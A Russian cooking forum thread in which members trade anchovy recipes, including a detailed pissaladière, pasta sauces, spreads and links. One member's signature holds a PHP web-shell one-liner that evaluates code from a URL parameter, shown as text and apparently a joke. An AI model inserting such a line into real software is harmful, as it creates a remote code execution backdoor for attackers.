Авторизация
Загрузка...
Анчоусы, что приготовить?
На страницу 1, 2  След.
 
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов
Предыдущая тема :: Следующая тема  
Автор Сообщение
Ichik  
Кулинар-виртуоз
Кулинар-виртуоз

Зарегистрирован: 29.09.2004
Сообщения: 3286
Откуда: USA

Сообщение Добавлено: Пт Янв 07, 2005 9:03     Заголовок сообщения: Анчоусы, что приготовить? Ответить с цитатой

Купила баночку анчоусов и не знаю куда проистроить. Подскажите рецептик, плиз.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Tiki  
Младший повар
Младший повар

Зарегистрирован: 20.02.2004
Сообщения: 173

Сообщение Добавлено: Пт Янв 07, 2005 14:05     Заголовок сообщения: Ответить с цитатой

Можно сделать очень вкусные канапе: хлеб, свежий сыр типа моцарелы и анчоус.
_________________
Я еще не волшебник, я только учусь smile.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
karry  


Зарегистрирован: 13.10.2002
Сообщения: 3767
Откуда: Кувейт (был Йемен)

Сообщение Добавлено: Пт Янв 07, 2005 17:40     Заголовок сообщения: Ответить с цитатой

попадались рецепты, где анчоусы добавляли в фарш для котлет... Запеканка картофельная с анчоусами тоже попадалась...-картофель кружочками и пару филешек- все запекалось...
_________________
Мудрость подобна черепаховому супу--не всем доступна. Козьма Прутков.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение Отправить e-mail
Гость  





Сообщение Добавлено: Пн Янв 17, 2005 17:39     Заголовок сообщения: Re: Анчоусы, что приготовить? Ответить с цитатой

Ichik писал(а):
Купила баночку анчоусов и не знаю куда проистроить. Подскажите рецептик, плиз.

Несколько филе анчоусов размельчить в разогретой сковородке с раст.маслом и маленьким кр.перчиком,ложкой зелени петрушки.Добавить раннее приготовленные спагетти,перемешать и подавать к столу,посыпав тертым сыром Пармиджано.Боон апетито.
Вернуться к началу
bolshutka  
Повар
Повар

Зарегистрирован: 05.10.2004
Сообщения: 442
Откуда: Kiev-SFBay Area, CA

Сообщение Добавлено: Пт Апр 22, 2005 11:34     Заголовок сообщения: Ответить с цитатой

есть замечательное южно-французское блюдо - Pissaladière - такой себе пирог типа пиццы с анчоусами (мням!) и луком...
я готовила по разным рецептам - навскидку нашла тот, который побыстрее

* полкило готового теста для пиццы
* 3 столовых ложки несоленого сливочного масла
* 2 столовых ложки оливкового масла
* полтора кг лука (очень вкусно с красным луком!) очень тонко нарезанного дольками
* 2 столовых ложки листьев тимьяна
* 16 рыбок анчоусов, разделенных на половинки (где-то читала, что в классическом рецепте предполагаются анчоусы в рассоле - которые нужно промыть, и соль, естественно в тесто не добавлять; а если анчоусы в масле - убрать излишки масла, промокнув их бумажным полотенцем)
* 24 черных оливки без косточек (лучше оливки, которые немного "сморщенные" Nicoise - например)

-- растопить масло и 1 ст ложку оливкового масла в кастрюльке. добавить лук и 1 ст. ложку тимьяна

-- накрыть крышкой и тушить на слабом огне в течение 45 минут, время от времени помешивая, до тех пор, пока лук не станет мягким (!но не до коричневгого цвета!)

-- нагреть духовку до 400°F (температура в фаренгейтах!)

-- развернуть тесто и выложить в форму размером прибл. 25 х 35см

-- смазать тесто оставшейся столовой ложкой оливкого масла

-- распределить лук по всей поверхности теста (оставить совсем маленький свободный край), затем сверху выложить анчоусы в виде сеточки

-- в образовавшиеся "клеточки" положить оливки

-- в духовку на 20 минут

-- при подаче посыпать оставшимся тимьяном

очень очень вкусно!!! приятного аппетита!

а вот и картинка - как должно выглядеть
_________________
--кот на солнце одними глазами ловит птичку




pissaladiere_quick.jpg
pissaladiere_quick.jpg

Файл был скачан или просмотрен 617 раз(а)

Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17607
Откуда: Russia

Сообщение Добавлено: Пт Апр 22, 2005 13:28     Заголовок сообщения: Ответить с цитатой

Соус к макаронам с анчоусами
Плюшки с анчоусами
smile.gif
А если набрать в поиске анчоус*, искать сообщения, то ещё что-нибудь найдётся. smile.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Pavla  
Кошковед-любитель

Зарегистрирован: 20.08.2002
Сообщения: 1700
Откуда: Ukraine

Сообщение Добавлено: Пт Апр 22, 2005 18:08     Заголовок сообщения: Ответить с цитатой

http://kuking.net/15_46004.htm - Помидоры шерри и моцареллой и анчоусами

http://www.kuking.net/15_114417.htm - Палочки с анчоусами и пармезаном

http://www.kuking.net/1_924.htm - Бутерброды с пастой из анчоусов

Могу только позавидовать тем, у кого можно найти анчоусы в продаже.. Я в Киеве уже больше, чем пол года не могу найти анчоусы... приходится "побираться" по общепитам smile.gif)


Последний раз редактировалось: Pavla (Пт Апр 22, 2005 18:11 ), всего редактировалось 1 раз
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Пт Апр 22, 2005 18:11     Заголовок сообщения: Ответить с цитатой

Недавно подружка придумала такой экспромпт: мелко порезать несколько анчоусов, добавить пюре из авокадо и намазать на свежую чьябатту - ужасно вкусно, особенно для фанатов анчоусов и авокадо smile.gif

Еще из серии бутербродов - порубить анчоусы в блендере в пюре с пучком петрушки, винным уксусом и чесноком - вот пропорции: http://kuking.net/1_924.htm
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Carioca  
Хранитель кулинарных секретов
Хранитель кулинарных секретов

Зарегистрирован: 30.09.2003
Сообщения: 5574
Откуда: Suomi

Сообщение Добавлено: Пт Апр 22, 2005 19:57     Заголовок сообщения: Ответить с цитатой

Вот еще раньше обсуждались Анчоусы
_________________
Vamos deixar como esta' para ver, como e' que fica (G.Vargas)
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Rorik  
Младший повар
Младший повар

Зарегистрирован: 05.02.2008
Сообщения: 194
Откуда: Литва-Германия

Сообщение Добавлено: Пн Ноя 11, 2019 13:01     Заголовок сообщения: Ответить с цитатой

Добрый днеь!
Скажите, никто не видел рецепт где в котлеты из мясного фарша добавлялись анчоусы. Или не там ищу или мне приснилось tellme.gif

Срочно надо избавиться от анчоусов. Так есть невозможно - соль и уксус. mad_icon.gif
_________________
Лариса
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Klarissa  
Кулинарный вдохновитель

Зарегистрирован: 20.03.2005
Сообщения: 7432
Откуда: Украина-Израиль

Сообщение Добавлено: Пн Ноя 11, 2019 13:32     Заголовок сообщения: Ответить с цитатой

Если котлеты не найдёшь, как вариант утилизации - Писсаладьер, французский пирог с анчоусами
_________________
Тематический обмен подарками Давайте поиграем!
ДЕЛО ВКУСА (Klarissa), каталог "ЧТО И КАК"
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение Отправить e-mail
Rorik  
Младший повар
Младший повар

Зарегистрирован: 05.02.2008
Сообщения: 194
Откуда: Литва-Германия

Сообщение Добавлено: Пн Ноя 11, 2019 14:14     Заголовок сообщения: Ответить с цитатой

Klarissa,
большое спасибо за идею. Только боюсь что с такими анчоусами приличный пирог не получится. Их можно только в минимальном количестве использовать. sad.gif
Я делала соус Bagna cauda, там они хорошо прижились. Но их там надо пару штук, а такой соус часто повторять - это смерть фигуре (ну или ее остаткам cool1.gif )
_________________
Лариса
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17607
Откуда: Russia

Сообщение Добавлено: Пн Ноя 11, 2019 17:53     Заголовок сообщения: Ответить с цитатой

Лариса, вот, что удалось найти про анчоусы в котлетех.

Тут они присутствуют гипотетически. Это рецепт куриных котлет с гремолатой, в которую кроме основных ингредиентов можно добавить анчоусы.
http://kuking.net/my/viewtopic.php?p=1944003#1944003

А здесь упоминается, что есть рецепты, где анчоусы добавляли в фарш для котлет.
http://kuking.net/my/viewtopic.php?p=453033#453033

И фрикадельки из телятины.
http://kuking.net/my/viewtopic.php?p=60299#60299

А может их пристроить в заливку для перцев, исключив из неё уксус, коли в анчоусах его предостаточно? Там нужна целая баночка. smile.gif
http://kuking.net/my/viewtopic.php?p=1562111#1562111
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Rorik  
Младший повар
Младший повар

Зарегистрирован: 05.02.2008
Сообщения: 194
Откуда: Литва-Германия

Сообщение Добавлено: Вт Ноя 12, 2019 10:26     Заголовок сообщения: Ответить с цитатой

Соня
Как ты это делаешь?!!! Это просто за гранью возможного.
Огромное тебе спасибо.
_________________
Лариса
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
neolga  
Гурман
Гурман

Зарегистрирован: 01.10.2008
Сообщения: 4908
Откуда: Riga, Ирландия

Сообщение Добавлено: Вт Ноя 12, 2019 16:02     Заголовок сообщения: Ответить с цитатой

Лариса, вот еще идея куда анчоусы использовать:
Губброра - Gubbrora Салат из яиц и анчоусов
И еще от Ирины:
Губброра, еще один рецепт
_________________
Ольга
Каталог моих рецептов
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Показать сообщения:   
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
На страницу 1, 2  След.
Страница 1 из 2

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения